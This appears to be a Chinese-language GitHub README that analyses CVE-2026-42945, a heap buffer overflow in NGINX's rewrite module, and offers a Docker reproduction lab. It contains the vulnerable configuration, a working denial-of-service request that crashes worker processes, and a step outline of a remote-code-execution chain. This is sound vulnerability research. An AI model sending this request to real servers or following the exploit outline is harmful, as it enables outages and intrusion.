rheodev/CVE-2026-42945
GitHub: rheodev/CVE-2026-42945
对 NGINX Rift(CVE-2026-42945)这一潜伏 18 年的堆缓冲区溢出漏洞进行完整根因分析,并提供 Docker 复现环境和 DoS PoC 脚本。
Stars: 17 | Forks: 4
# CVE-2026-42945 - NGINX Rift 漏洞分析与复现
## 概述
CVE-2026-42945(代号 "NGINX Rift")是一个存在于 NGINX `ngx_http_rewrite_module` 中的**堆缓冲区溢出**漏洞,CVSS v4 评分 **9.2(Critical)**。
该漏洞由 depthfirst 安全研究团队于 2026 年 4 月发现,自 2008 年引入 NGINX 0.6.27 版本以来已潜伏 **18 年**。
## 影响范围
- NGINX Open Source 0.6.27 ~ 1.30.0
- NGINX Plus R32 ~ R36
- NGINX Instance Manager 2.16.0 ~ 2.21.1
- F5 WAF for NGINX 5.9.0 ~ 5.12.1
- NGINX App Protect WAF 4.9.0 ~ 4.16.0 和 5.1.0 ~ 5.8.0
- NGINX Gateway Fabric 1.3.0 ~ 1.6.2 和 2.0.0 ~ 2.5.1
- NGINX Ingress Controller 3.5.0 ~ 3.7.2, 4.0.0 ~ 4.0.1, 5.0.0 ~ 5.4.1
## 修复版本
- NGINX 1.31.0(2026年5月13日发布)
## 触发条件
漏洞需要以下 NGINX 配置模式才能触发:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
关键条件:
1. `rewrite` 指令的替换字符串中包含 `?`(问号)
2. 后续 `set` 指令引用了正则表达式捕获组(如 `$1`)
3. 请求 URI 中包含可转义字符(如 `+`, `&`, `%` 等)
## 根因分析
### 脚本引擎的两阶段处理
NGINX 的脚本引擎使用**两阶段处理**来执行 rewrite/set 指令:
1. **第一阶段(长度计算)**:计算最终字符串所需的内存大小
2. **第二阶段(数据拷贝)**:将实际数据写入分配的缓冲区
### 状态不一致导致溢出
漏洞的核心在于两个阶段之间的**引擎状态不一致**:
#### 阶段 1:`rewrite` 设置 `is_args` 标志
当 `rewrite` 指令的替换字符串包含 `?` 时,`ngx_http_script_start_args_code` 函数会设置:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // 永久设置,从不重置!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
#### 阶段 2:`set` 指令的长度计算使用全新子引擎
当后续 `set` 指令引用捕获组时,`ngx_http_script_complex_value_code` 创建一个**全零的子引擎**:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
#### 阶段 3:长度计算 vs 实际拷贝的分歧
**长度计算**(使用子引擎 `le`,`is_args=0`):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0,条件为 false,走 else 分支
return cap[n + 1] - cap[n]; // 返回原始长度(未转义)
}
**实际拷贝**(使用主引擎 `e`,`is_args=1`):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1,条件为 true,走 if 分支
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// 每个可转义字符从 1 字节扩展为 3 字节!
}
### 溢出大小
- 分配的缓冲区大小:`raw_size`(原始捕获长度)
- 实际写入大小:`raw_size + 2 * N`(N = 可转义字符数量)
- **溢出量 = 2 * N 字节**
例如,如果 URI 中有 100 个 `+` 号,溢出量为 200 字节。
## 利用方式
### 1. DoS(拒绝服务)
最简单的利用方式 - 发送包含大量可转义字符的请求即可导致 worker 进程崩溃:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
### 2. RCE(远程代码执行)
完整的 RCE 利用链(需要 ASLR 关闭或已绕过):
1. **堆布局控制**:通过连接顺序控制 `ngx_pool_t` 的堆布局
2. **溢出覆盖 `cleanup` 指针**:溢出到相邻的内存池结构
3. **喷射伪造的 cleanup 结构**:通过 POST 请求体注入包含 `system()` 地址的伪造结构
4. **触发执行**:关闭受害连接,触发 `ngx_destroy_pool` 遍历 cleanup 链表
NGINX 的多进程架构使得利用更加可靠 - worker 崩溃后 master 会 fork 出内存布局完全相同的新 worker。
## 文件说明
- `README.md` - 本文件,漏洞分析文档
- `Dockerfile` - 构建易受攻击的 NGINX 环境
- `nginx.conf` - 触发漏洞的 NGINX 配置
- `poc_crash.py` - DoS PoC(触发 worker 崩溃)
- `docker-compose.yml` - 一键启动测试环境
## 快速复现
# 1. 构建并启动易受攻击的 NGINX
docker-compose up -d
# 2. 运行 DoS PoC
python3 poc_crash.py
# 3. 查看 NGINX 错误日志确认崩溃
docker-compose logs nginx
## 参考资料
- [NGINX 官方 CHANGES](https://nginx.org/en/CHANGES) - 修复公告
- [depthfirst 研究报告](https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability) - 原始漏洞发现者的技术分析
- [F5 安全公告 K000160932](https://my.f5.com/manage/s/article/K000160932) - 官方安全公告
## 免责声明
本材料仅用于安全研究和教育目的。请勿将此信息用于未经授权的攻击行为。
标签:0day漏洞, C/C++, CISA项目, CVE-2026-42945, F5 WAF, HTTP请求走私, NGINX, NGINX Rift, Web安全, Web报告查看器, 事务性I/O, 云资产清单, 内存安全, 堆缓冲区溢出, 安全更新, 数据展示, 漏洞分析, 漏洞复现, 红队, 网络安全, 蓝队分析, 请求拦截, 负责任AI, 路径探测, 软件漏洞, 逆向工具, 逆向工程, 隐私保护